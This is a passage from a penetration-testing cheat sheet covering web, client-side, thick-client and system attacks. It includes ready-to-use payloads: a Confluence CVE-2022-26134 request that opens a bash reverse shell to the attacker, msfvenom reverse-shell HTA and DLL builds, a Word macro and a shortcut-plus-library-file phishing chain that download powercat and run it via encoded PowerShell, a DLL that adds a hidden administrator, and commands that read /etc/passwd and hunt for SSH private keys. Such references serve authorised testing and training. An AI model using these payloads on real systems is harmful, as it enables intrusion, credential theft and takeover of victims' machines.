responds with a list of all 152 cookies supported by the application: curl -v -H 'Cookie: 0=1' https://automattic.com/?cb=123 | fgrep Cookie" [[Reference](https://hackerone.com/reports/310105)]; - Carriage Return Line Feed (CRLF) injection: "When you find response header injection, you can probably do better than mere XSS or open-redir. Try injecting a short Content-Length header to cause a reverse desync and exploit random live users." [[Reference](https://twitter.com/albinowax/status/1412778191119396864)] ### <ins>HTTP request smuggling</ins> Most HTTP request smuggling vulnerabilities arise because the HTTP specification provides two different ways to specify where a request ends: - Content-Length ```HTTP POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling ``` - Transfer-Encoding ```HTTP POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked b q=smuggling 0 ``` Example ```HTTP POST / HTTP/1.1 Host: smuggle-vulnerable.net Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 G ``` Result: GPOST request - Some servers do not support the Transfer-Encoding header in requests; - Some servers that do support the Transfer-Encoding header can be induced not to process it if the header is obfuscated in some way. Ways to obfuscate the Transfer-Encoding header - `Transfer-Encoding: xchunked` - `Transfer-Encoding : chunked` - `Transfer-Encoding: chunked` - `Transfer-Encoding: x` - `Transfer-Encoding:[tab]chunked` - `[space]Transfer-Encoding: chunked` - `X: X[\n]Transfer-Encoding: chunked` - ``` Transfer-Encoding : chunked ``` Confirming CL.TE vulnerabilities using differential responses ```HTTP POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 49 Transfer-Encoding: chunked e q=smuggling&x= 0 GET /404 HTTP/1.1 Foo: x ``` Result ```HTTP GET /404 HTTP/1.1 Foo: xPOST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling ``` Impact - Bypass front-end security controls - Revealing front-end request rewriting - Capturing other users' requests - Using HTTP request smuggling to exploit reflected XSS - Turn an on-site redirect into an open redirect<br/> Example of 301 in Apache and IIS web servers ```HTTP GET /home HTTP/1.1 Host: normal-website.com HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/ ``` Vulnerable request ```HTTP POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X ``` Result ```HTTP GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ ``` - Perform web cache poisoning - Perform web cache deception **Resource** - [HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646) ### <ins>JWT Attacks</ins> A JWT consists of a `header`, a `payload`, and a `signature`. Each part is separated by a dot.<br/> Common attacks - Accepting tokens with no signature - Brute-forcing secret keys using [hashcat](https://hashcat.net/wiki/doku.php?id=frequently_asked_questions#how_do_i_install_hashcat) - You need a valid JWT and a [wordlist](https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list) - `hashcat -a 0 -m 16500 <jwt> <wordlist>` - If any of the signatures match, hashcat will give you an output like this `<jwt>:<identified-secret>` along with other details - Once identified the secret key, you can use it to generate a valid signature for any JWT header and payload that you like. See [Signing JWTs](https://portswigger.net/web-security/jwt/working-with-jwts-in-burp-suite#signing-jwts) - Injecting self-signed JWTs via the `jwk`, `jku` or `kid` parameter - Change Content-Type in `cty` to achieve XXE and deserialization attacks - `x5c` (X.509 Certificate Chain) can lead to [CVE-2017-2800](https://talosintelligence.com/vulnerability_reports/TALOS-2017-0293) and [CVE-2018-2633](https://mbechler.github.io/2018/01/20/Java-CVE-2018-2633/) - [JWT algorithm confusion](https://portswigger.net/web-security/jwt/algorithm-confusion) **Resources** - [{JWT}.{Attack}.Playbook](https://github.com/ticarpi/jwt_tool/wiki) - [Checklist](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology) - [JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd) ### <ins>OAuth authentication</ins> How OAuth 2.0 works: - `Client application` The website or web application that wants to access the user's data; - `Resource owner` The user whose data the client application wants to access; - `OAuth service provider` The website or application that controls the user's data and access to it. They support OAuth by providing an API for interacting with both an authorization server and a resource server. **[OAuth flow](https://portswigger.net/web-security/oauth/grant-types)** <img src="img/oauth-authorization-code-flow.jpg" alt="oauth-flow"> Following standard endpoints: - `/.well-known/oauth-authorization-server` - `/.well-known/openid-configuration` Vulnerabilities in the client application - Improper implementation of the implicit grant type - Flawed CSRF protection Vulnerabilities in the OAuth service - Leaking authorization codes and access tokens - Flawed scope validation - Unverified user registration ### <ins>GraphQL</ins> To analyze the schema: [vangoncharov.github.io/graphql-voyager/](https://ivangoncharov.github.io/graphql-voyager/) or [InQL](https://github.com/doyensec/inql) for Burp Suite. **GraphQL Introspection query** ```JSON {"query": "{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"} ``` ```JSON {query: __schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} ``` ```JSON {"operationName":"IntrospectionQuery","variables":{},"query":"query IntrospectionQuery {\n __schema {\n queryType {\n name\n }\n mutationType {\n name\n }\n subscriptionType {\n name\n }\n types {\n ...FullType\n }\n directives {\n name\n description\n locations\n args {\n ...InputValue\n }\n }\n }\n}\n\nfragment FullType on __Type {\n kind\n name\n description\n fields(includeDeprecated: true) {\n name\n description\n args {\n ...InputValue\n }\n type {\n ...TypeRef\n }\n isDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\n interfaces {\n ...TypeRef\n }\n enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes {\n ...TypeRef\n }\n}\n\nfragment InputValue on __InputValue {\n name\n description\n type {\n ...TypeRef\n }\n defaultValue\n}\n\nfragment TypeRef on __Type {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n }\n }\n }\n }\n }\n }\n }\n}\n"} ``` ### <ins>WordPress</ins> - Information Disclosure [high]: `/_wpeprivate/config.json` - Data exposure: - `/wp-json/wp/v2/users/` - `/wp-json/th/v1/user_generation` - `/?rest_route=/wp/v2/users` - xmlrpc.php enabled, [reference](https://hackerone.com/reports/138869). Send a post request to this endpoint with a body like this: ```xml <?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall> ``` - Use [Nuclei](https://github.com/projectdiscovery/nuclei) to detect WordPress websites from a list of targets with: `nuclei -l subdomains.txt -t %USERPROFILE%/nuclei-templates/technologies/wordpress-detect.yaml` - Scan with WPScan [github.com/wpscanteam/wpscan](https://github.com/wpscanteam/wpscan) with - `wpscan --url <domain> --enumerate u` enumerate users - `wpscan --url <domain> -U users.txt -P password.txt` try to find valid credentials - `wpscan --url <domain> --api-token <your-api-token>` - `wpscan --url <target> --enumerate p --plugins-detection aggressive -o results` - `wpscan --url https://example[.]com --api-token <api token> --plugins-detection mixed -e vp,vt,cb,dbe,u1-10 --force` [[source]](https://twitter.com/TakSec/status/1671202550844993543) - Nuclei templates `%USERPROFILE%\nuclei-templates\vulnerabilities\wordpress` **Resources** - https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/WordPress.md - https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/ - [WordPress Checklist](https://github.com/pentesterzone/pentest-checklists/blob/master/CMS/WordPress-Checklist.md) ### <ins>IIS - Internet Information Services</ins> - Check if `trace.axd` is enabled - Search for ``` Views/web.config bin/WebApplication1.dll System.Web.Mvc.dll System.Web.Mvc.Ajax.dll System.Web.Mvc.Html.dll System.Web.Optimization.dll System.Web.Routing.dll ``` - [Other common files](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/iis-internet-information-services#common-files) **Resources** - https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/iis-internet-information-services - Wordlist [iisfinal.txt](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/iis-internet-information-services#iis-discovery-bruteforce) ### <ins>Lotus Domino</ins> - Find Lotus Domino with nuclei: `%USERPROFILE%\nuclei-templates\technologies\lotus-domino-version.yaml` - Exploit DB: [Lotus-Domino](https://www.exploit-db.com/search?q=Lotus+Domino) - Fuzzing list: [SecLists/LotusNotes.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/LotusNotes.fuzz.txt) ### <ins>Git source code exposure</ins> Once you have the source code, look for the secrets within the files. To find secrets, you can use [trufflehog](https://github.com/trufflesecurity/trufflehog). **Other tools** - [DotGit](https://github.com/davtur19/DotGit) find if a website has `.git` exposed - nuclei template `%USERPROFILE%\nuclei-templates\exposures\configs\git-config.yaml` - [GitDumper from GitTools](https://github.com/internetwache/GitTools) ### <ins>Subdomain takeover</ins> **Tools** - [Can I take over XYZ?](https://github.com/EdOverflow/can-i-take-over-xyz) - nuclei template `%USERPROFILE%\nuclei-templates\takeovers` ### <ins>4** Bypass</ins> - [byp4xx](https://github.com/lobuhi/byp4xx), s/o to [m0pam](https://twitter.com/m0pam) for the tip - Search for subdomain with subfinder. Httpx filters subdomains with a 403 response and prints their cname. Test the cname for a bypass `subfinder -d atg.se — silent | httpx -sc -mc 403 -cname`, s/o to [drak3hft7](https://twitter.com/drak3hft7) for the tip - [403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) Burp extension, test 403 bypasses on the run - Replace `HTTP/n` with `HTTP/1.1`, `HTTP/2` or `HTTP/3` - Change the request from `GET` to `POST` or viceversa ### <ins>Application level Denial of Service</ins> - If the application gives the possibility to download data, try to download too much data - If there are restrictions, try to bypass - In file uploads, try to upload huge files - In chat section, try to send big messages and see how the application behaves - [Regular expression Denial of Service - ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) - search for [`RegExp()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) - Long Password DoS Attack (Note: the value of password is hashed and then stored in Databases) - Check for length restriction and play with it - If there is no restriction, test until the application slows down - [password.txt](https://raw.githubusercontent.com/KathanP19/HowToHunt/master/Application_Level_DoS/Password.txt) - Long string DoS - DoS against a victim - Sending a reset link might disable an user's account, spam to prevent the user from accessing their account - Multiple wrong passwords might disable an user's account ### <ins>APIs attacks</ins> Common API path convention: `/api_name/v1` #### Bruteforce APIs paths with gobuster 1. Create a pattern file ``` echo {GOBUSTER}/v1 > patterns echo {GOBUSTER}/v2 >> patterns echo {GOBUSTER}/v3 >> patterns ``` 2. Run the command `gobuster dir -u <TARGET> -w /usr/share/wordlists/wordlist.txt -p patterns` 3. Inspect the endpoints fuond with `curl` and use recursion ### <ins>Grafana attacks</ins> **CVE-2021-43798**: Grafana versions 8.0.0-beta1 through 8.3.0, except for patched versions, are vulnerable to directory traversal - `curl --path-as-is http://<TARGET>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd` - Check also for sqlite3 database `/var/lib/grafana/grafana.db` and `conf/defaults.ini` config file ### <ins>Confluence attacks</ins> #### CVE-2022-26134 1. See: [Active Exploitation of Confluence CVE-2022-26134](https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/) 2. `curl http://<Confluence-IP>:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/<YOUR-IP>/<YOUR-PORT>%200%3E%261%27%29.start%28%29%22%29%7D/` 3. Run a listener `nc -nvlp 4444` ## Client-Side Attacks ### <ins>Client Information Gathering</ins> **Passive Client Information Gathering** - Search with Google, social media and forum websites - Search for IPs and other sensible information - Search for file in the target's websites with `dirsearch` or `gobuster`, retrieve metadata from files - `exiftool -a -u brochure.pdf` **Active Client Information Gathering** - Make direct contact with the target machine or its users - Interaction with the target: Social engineering, require to click on a link, open an email, run an attachment, or open a document - [Social-Engineer Toolkit (SET)](https://www.trustedsec.com/tools/the-social-engineer-toolkit-set/) - Client Fingerprinting - [Fingerprintjs2](https://github.com/fingerprintjs/fingerprintjs) - Change permissions on the `fp` directory `sudo chown www-data:www-data fp` to make `/fp/js.php` work - [Parse User Agents](https://developers.whatismybrowser.com/) - Use [Canarytokens](https://canarytokens.org/generate) and Social Engineering to retrieve information from a target - Use [Grabify IP Logger](https://grabify.link/) ### <ins>HTML applications</ins> If a file is created with a `.hta` extension rather than a `.html` extension, Internet Explorer will automatically recognize it as an HTML Application and provide the option to run it using the mshta.exe application (still useful since many corporations rely on Internet Explorer). **PoC.hta** leveraging ActiveXObjects ```HTML <html> <head> <script> var c= 'cmd.exe' new ActiveXObject('WScript.Shell').Run(c); </script> </head> <body> <script> self.close(); </script> </body> </html> ``` **Create a better payload with [msfvenom from the Metasploit framework]([https://github.com/rapid7/metasploit-framework/blob/master/msfvenom](https://github.com/rapid7/metasploit-framework))**<br/> ``` sudo msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f hta-psh -o /var/www/html/evil.hta In evil.hta, the code will find the following command ::> `powershell.exe -nop -w hidden -e aQBmCgAWBJAG4AdAQAHQAcg...` -nop: NoProfile -w: WindowStyle hidden -e: EncodedCommand ``` ### <ins>Microsoft Office</ins> **Microsoft Word Macro**: To exploit Microsoft Office we need to creare a doc in `.docm` or `.doc` format and use macros. An example of the creation of a macro to run a reverse shell is the following. 1. From your powershell, prepare the command encoded in base64 ``` $TEXT = "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1');powercat -c <LHOST> -p <LPORT> -e powershell" $ENCODED = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($TEXT)) echo $ENCODED ``` 2. Since VBA has a 255-character limit for literal strings, we have to split the command into multiple lines. You can do it with the following python script: ```python import sys str = "powershell.exe -nop -w hidden -e " + sys.argv[1] n = 50 for i in range(0, len(str), n): print ("Str = Str + " + '"' + str[i:i+n] + '"') ``` 3. This will be the final result: ```VBA Sub AutoOpen() MyMacro End Sub Sub Document_Open() MyMacro End Sub Sub MyMacro() Dim Str As String Str = Str + "powershell.exe -nop -w hidden -e H4sIAAb/EF0CA7VWa" Str = Str + "2+bSBT9nEj5D6iyBCjExombNpEqLdgmhhrHBD9iu9YKwwBTj4H" Str = Str + "C4Jh0+9/3jg1pqqS77UqLbDGP+zz3zFz8PHIpjiMuu+1xX0+Oj" Str = Str + "4ZO6mw4oRa/u5C4GnZvxaMjWK49GhfcB05YKEnSiTcOjpbX1+0" Str = Str + "8TVFED/P6DaJKlqHNimCUCSL3FzcNUYrOblefkUu5r1ztz/oNi" ... Str = Str + "aNrT16pQqhMQu61/7ZgO989DRWIMdw/Di/NWRyD0Jit8bW7V0f" Str = Str + "T2HIOHYs1NZ76MooKEk7y5kGfqUvGvJkOWvJ9aOk0LYm5JYnzt" Str = Str + "AUxkne+Miuwtq9HL2vyJW3j8hvLx/Q+z72j/s/hKKslRm/GL9x" Str = Str + "4XfwvR3U586mIKgDRcoQYdG/joCJT2efexAVaD2fvmwT9XbnJ4" Str = Str + "N4BPo5PhvyjwHqBILAAA=" CreateObject("Wscript.Shell").Run Str End Sub ``` 4. Open the document in Word, go in `View` > `Macros` and create a macro with the code generated in the previous step - Select the current document in `Macros in:` **Object Linking and Embedding**: another option is to abuse Dynamic Data Exchange (DDE) to execute arbitrary applications from within Office documents ([patched since December of 2017](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170021)) 1. Create a batch script to run a reverse shell ```batch START powershell.exe -nop -w hidden -e <BASE64> ``` 2. Open Microsoft Word > Create a new document > Navigate to the Insert ribbon > Click the Object menu 3. Choose "Create from File" tab and select the newly-created batch script 4. Change the appearance of the batch file **Evading Protected View**: In exactly the same way as Word and Excel, Microsoft Publisher permits embedded objects and ultimately code execution, but it will not enable Protected View for documents that are distributed over the Internet. ### <ins>Windows Library Files</ins> Library files consist of three major parts written in XML to specify the parameters for accessing remote locations: - General library information - Library properties - Library locations 1. Run a WebDAV share in the attacker machine - `/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/WebDAV/` 2. Create the following Windows Library File in a Window machine <br/><i>config.Library-ms</i> ```xml <?xml version="1.0" encoding="UTF-8"?> <libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"> <name>@windows.storage.dll,-34582</name> <version>6</version> <isLibraryPinned>true</isLibraryPinned> <iconReference>imageres.dll,-1003</iconReference> <templateInfo> <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType> </templateInfo> <searchConnectorDescriptionList> <searchConnectorDescription> <isDefaultSaveLocation>true</isDefaultSaveLocation> <isSupported>false</isSupported> <simpleLocation> <url>http://IP</url> </simpleLocation> </searchConnectorDescription> </searchConnectorDescriptionList> </libraryDescription> ``` 3. In a Window machine, create a shortcut ( <i>automatic_configuration.lnk</i> ) with the following as location - `powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<IP>/powercat.ps1');powercat -c <IP> -p <PORT> -e powershell"` 4. Put `config.Library-ms` and `automatic_configuration.lnk` in the WebDAV directory 5. Start the Python3 web server on port `8000` to serve `powercat.ps1`, WsgiDAV for the WebDAV share `/home/kali/webdav`, and a Netcat listener on port `4444` 6. Send the library file to the victim and wait for them to execute the shortcut file to get a reverse shell ## Thick client vulnerabilities ### <ins>DLL Hijacking</ins> **Tool** - [Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) to see which DLLs are missing for an exe and do DLL Hijacking **Process** 1. Use winPEAS to enumerate non-Windows services: `.\winPEASany.exe quiet servicesinfo` 2. Enumerate which of these services our user has stop and start access to `.\accesschk.exe /accepteula -uvqc user <service>` 3. Once it's found wich service is vulnerable to dll hijacking, find the executable's path with `sc qc dllsvc` 4. Using Process Monitor, add these the filters to find missing dlls. <img src="img/procmon-config-add.png" alt="procmon-config"> 5. Generate a reverse shell DLL named hijackme.dll: `msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o hijackme.dll` 6. Run again the vulnerable service: `net stop <service>` and `net start dllsvc` **Another example of a dll**: ```c++ #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { switch (dwReason) { case DLL_PROCESS_ATTACH: // Perform initialization tasks for the DLL when it is loaded int i; i = system ("net user eviladmin Ev!lpass /add"); i = system ("net localgroup administrators eviladmin /add"); break; case DLL_PROCESS_DETACH: // Perform cleanup tasks for the DLL when it is unloaded break; case DLL_THREAD_ATTACH: // Perform initialization tasks for each new thread that loads the DLL break; case DLL_THREAD_DETACH: // Perform cleanup tasks for each thread that unloads the DLL break; } return TRUE; } ``` - `x86_64-w64-mingw32-gcc dllh.cpp --shared -o dllh.dll` **Resources** - [hijacklibs.net](https://hijacklibs.net/) - [Save the Environment (Variable)](https://www.wietzebeukema.nl/blog/save-the-environment-variables) - [Spartacus DLL Hijacking](https://github.com/Accenture/Spartacus) ### <ins>Insecure application design</ins> The application design is based on a two-tier architecture. In particular, the thick client application installed on the workstation communicates directly with a backend DBMS without the use of an application server. The best option, from a security perspective, is designing and implementing a three-tier architecture in which the thick client connects with an intermediary layer (an application server), which in turn communicates with the database. A secure channel must be used for all communications, with only secure protocols (such TLS, HTTPS, etc.), and preferebli with Certificate Pinning. If this is not possible, it is desirable to provide read-only users and read/write users distinct privileges at the DBMS layer. This would stop vertical privilege escalation even if a read-only user were to access the database directly and try to edit the data. ### <ins>Weak Hashing Algorithms</ins> Sensitive data exposure, key leakage, broken authentication, insecure sessions, and spoofing attacks can all be caused by improper application of encryption methods. Some hashing or encryption techniques, such MD5 and RC4, are known to be insecure and are not advised for use. When dealing with hashing algorithms, the strongest algorithm available should be used (e.g., SHA-512 or at least SHA-256). However, it is always crucial to take into account the precise context in which the hashing algorithm must be used. For instance, it is recommended to utilize contemporary hashing algorithms that have been created especially for securely saving passwords when managing passwords. This indicates that they should be slow (as opposed to fast algorithms like MD5 and SHA-1), and that can be configured by changing the work factor (e.g., PBKDF2 or Bcrypt) If not configured correctly, the encryption can be not sufficiently secure. An example with AES, an algorithm for symmetric encryption: - Cipher-Block-Chaining (CBC) is no longer considered safe when verifiable padding has been applied without first ensuring the integrity of the ciphertext, except for very specific circumstances. If implemented, it can weakens AES encryption. ### <ins>Cleartext secrets in memory</ins> The memory analysis of an application, done when the thick client process is running, can highlight the presence of secrets in cleartext and that can be therefore extracted by any user having access to the machine where the application is hosted. **Resource** - [Process Hacker](https://processhacker.sourceforge.io/) It helps to dump the exe memory and see what sensitive data is there ### <ins>Hardcoded secrets</ins> Sometimes, the thick client application's source code is not obfuscated, therefore a hostile user may decompile it and easily comprehend every functionality of the application. It's also possible that more can be found, like credentials and api keys. **Resources** - [VB Decompiler](https://www.vb-decompiler.org/products.htm) decompile a VB application - [ILSpy](https://github.com/icsharpcode/ILSpy) | [dnSpy](https://github.com/dnSpy/dnSpy) .NET decompilers ### <ins>Unsigned binaries</ins> If an application executable, and/or the imported DLLs, has not been digitally signed, it's possible replace it with a tampered version without the user noticing. **Resource** - [Sigcheck](https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck) check the signature of an executable ### <ins>Lack of verification of the server certificate</ins> Due to the fact that the client does not verify the TLS certificate presented by the back-end, it's possible to intercept also HTTPS communications managed by the thick client application. Without effective certificate control, an attacker who is capable of conducting a Man in the Middle attack can provide a self-signed certificate and the application will accept it, invalidating the protection provided by the TLS connection. ### <ins>Insecure SSL/TLS configuration</ins> During the SSL/TLS negotiation, SSL/TLS connections may be set up to offer outdated protocols and cipher suites that are susceptible to known security flaws. The data transmitted between the server and the client could potentially be read or modified in this case if an attacker is able to intercept the communication. **Resource** - [testssl.sh](https://testssl.sh/) useful for checking outdated ciphers & more ### <ins>Remote Code Execution via Citrix Escape</ins> If Citrix is present and you have access to it, there are multiple ways you can achieve Remote Code Execution: - Try to upload a PowerShell - Search for a functionality that opens a dialog box. Insert the path for `cmd` and `PowerShell` and see if they pop-up - In a dialog box, see if the right-click is allowed. Play with the functionality to achieve RCE, like creating a `.bat` and running it or upload files - Upload [Process Hacker](https://processhacker.sourceforge.io/) and see if you find [Cleartext secrets in memory](#cleartext-secrets-in-memory) **Resources** - [PowerShell](https://github.com/PowerShell/Powershell) - [Two RCEs are better than one: write-up of an interesting lateral movement](https://medium.com/@seeu-inspace/two-rces-are-better-than-one-write-up-of-an-interesting-lateral-movement-66a52d42e075) ### <ins>Direct database access</ins> - If it's found that standard users have direct access to the database, there is the possibility for users to read and write data that is not otherwise accessible through the client application. - If the SQL server requires a Windows User access, use the command `runas /user:localadmin <SQL-SERVER-MANAGEMENT-STUDIO>` - Try access with the account `sa:RPSsql12345` - Intercept the requests and see if there is an [Insecure application design](#insecure-application-design). In that case, it might be possible to perform a Direct database access, SQLi or Remote Code Execution **Resources** - [Echo Mirage](https://resources.infosecinstitute.com/topic/echo-mirage-walkthrough/) - [Wireshark](https://www.wireshark.org/) ### <ins>Insecure Windows Service permissions</ins> Windows service executable might be configured with insecure permissions. Services configured to use an executable with weak permissions are vulnerable to privilege escalation attacks. Unprivileged users have the ability to change or replace the executable with arbitrary code, which would then be run the following time the service is launched. This can lead to privilege escalation depending on the user the service is running as. ### <ins>Code injection</ins> - Check for classic HTML injections and [XSS](cross-site-scripting-xss) - Try to use a `SSID` as a vector for an XSS with a payload like `"/><img src=x onerror=alert(1)>` - Check if `<webview>` works. If it does, it's might be possible to achieve a LFI with a payload like this `<webview src="file:///etc/passwd"></webview>`. [[Reference](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)] ### <ins>Windows persistence</ins> **Resources** - [persistence-info.github.io](https://persistence-info.github.io/) - [PayloadsAllTheThings/Windows - Persistence](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md) ## System Attacks ### <ins>Information gathering</ins> #### Windows ```PowerShell <# gather information about current user #> whoami net user <user> whoami /priv <# gather user context information #> id <# discover other user accounts on the system #> net user <# discover localgroups and users in those groups#> whoami /groups net localgroup net user <username> PS C:\> Get-LocalGroupMember <group> <# enumerate the Hostname #> hostname <# enumerate the Operating System Version and Architecture #> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" <# enumerate running processes and services #> PS C:\> Get-Process tasklist /SVC <# enumerate networking information #> ipconfig /all route print netstat -ano <# enumerate firewall status and rules #> netsh advfirewall show currentprofile netsh advfirewall firewall show rule name=all <# enumerate scheduled tasks #> schtasks /query /fo LIST /v <# enumerate installed applications and patch levels #> PS C:\> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname PS C:\> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname wmic product get name, version, vendor wmic qfe get Caption, Description, HotFixID, InstalledOn <# enumerate readable/writable files and directories #> accesschk.exe -uws "Everyone" "C:\Program Files" PS C:\> Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"} <# enumerate unmounted disks #> mountvol <# enumerate device drivers and Kernel modules #> PS C:\> driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path PS C:\> Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"} <# enumerating binaries that AutoElevate #> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer <# find interesting files #> Get-ChildItem -Path <PATH> -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue Get-ChildItem -Path <PATH> -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue Get-ChildItem -Path <PATH> -Include *.kdbx,*.txt,*.pdf,*.xls,*.xlsx,*.xml,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue <# see history of commands #> Get-History (Get-PSReadlineOption).HistorySavePath type C:\Users\Public\Transcripts\transcript01.txt ``` To use Event Viewer to search for events recorded by Script Block Logging: 1. Open the Event Viewer: - Press Windows key + R to open the Run dialog box. - Type `eventvwr.msc` and press Enter. 2. In the Event Viewer window, expand "Applications and Services Logs" 3. Expand the "Microsoft-Windows-PowerShell/Operational" log 4. Click on the "Filter Current Log" option on the right-hand side of the window 5. In the Filter Current Log dialog box, enter "4104" as the Event ID 6. Click on the "OK" button to apply the filter 7. The Event Viewer will now display only the events related to Script Block Logging #### Linux ```bash # enumerate users cat /etc/passwd # enumerate the Hostname hostname # enumerate the Operating System Version and Architecture cat /etc/issue cat /etc/*-release cat /etc/os-release uname -a uname -r arch # enumerate running processes and services ps axu # enumerate networking information ip a /sbin/route routel ss -anp # inspect custom IP tables cat /etc/iptables/rules.v4 # enumerate scheduled tasks ls -lah /etc/cron* cat /etc/crontab crontab -l sudo crontab -l # enumerate installed applications and patch levels dpkg -l # find all writable files find / -writable -type d 2>/dev/null # find all writable files in /etc find /etc -maxdepth 1 -writable -type f # find all readable files in /etc find /etc -maxdepth 1 -readable -type f # enumerate readable/writable files and directories find / -writable -type d 2> /dev/null # enumerate unmounted disks cat /etc/fstab mount /bin/lsblk lsblk # enumerate device drivers and kernel modules lsmod /sbin/modinfo libata # enumerating binaries that AutoElevate find / -perm -u=s -type f 2>/dev/null # find SSH private keys find / -maxdepth 5 -name .ssh -exec grep -rnw {} -e 'PRIVATE' \; 2> /dev/null ``` ### <ins>Password Attacks</ins> [How Secure Is My Password?](https://howsecureismypassword.net/) #### <ins>Wordlists</ins> - [SecLists](https://github.com/danielmiessler/SecLists) - [wordlists.assetnote.io](https://wordlists.assetnote.io/) - [content_discovery_all.txt](https://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) - [OneListForAll](https://github.com/six2dez/OneListForAll) - [wordlistgen](https://github.com/ameenmaali/wordlistgen) - [Scavenger](https://github.com/0xDexter0us/Scavenger) - [cewl](https://digi.ninja/projects/cewl.php) - `cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt` **Brute Force Wordlists** [Crunch](https://sourceforge.net/projects/crunch-wordlist/), see [crunch | Kali Linux Tools](https://www.kali.org/tools/crunch/). | Placeholder | Character translation | | ----------- | ---------------------------------- | | @ | Lower case alpha characters | | , | 